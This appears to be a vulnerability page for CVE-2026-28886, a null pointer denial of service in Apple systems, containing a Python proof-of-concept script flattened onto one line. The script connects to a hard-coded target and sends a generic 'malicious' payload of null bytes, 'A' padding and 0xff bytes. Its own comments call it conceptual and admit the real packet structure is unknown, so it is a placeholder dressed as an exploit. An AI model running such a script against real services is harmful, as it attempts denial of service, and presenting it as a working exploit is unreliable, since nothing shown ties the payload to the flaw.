CVE-2026-28886 Apple多系统空指针解引用致拒绝服务漏洞

import socket import sys # PoC for CVE-2026-28886 (Conceptual) # This script attempts to trigger a denial-of-service by sending a crafted packet. # Note: The specific packet structure depends on the vulnerable service protocol. def send_malicious_packet(target_ip, target_port): try: # Establish a TCP connection to the target service print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Constructing a payload that might trigger the null pointer dereference # This is a generic malformed payload structure. # In a real scenario, specific offsets or headers would be required. payload = b"\x00\x00\x00\x00" + b"A" * 1000 + b"\xff\xff\xff\xff" print("[*] Sending malicious payload...") s.send(payload) # Wait for a response or timeout s.recv(1024) print("[+] Payload sent. Check if the target service crashed.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target IP and Port of the vulnerable Apple service TARGET_IP = "192.168.1.10" TARGET_PORT = 80 send_malicious_packet(TARGET_IP, TARGET_PORT)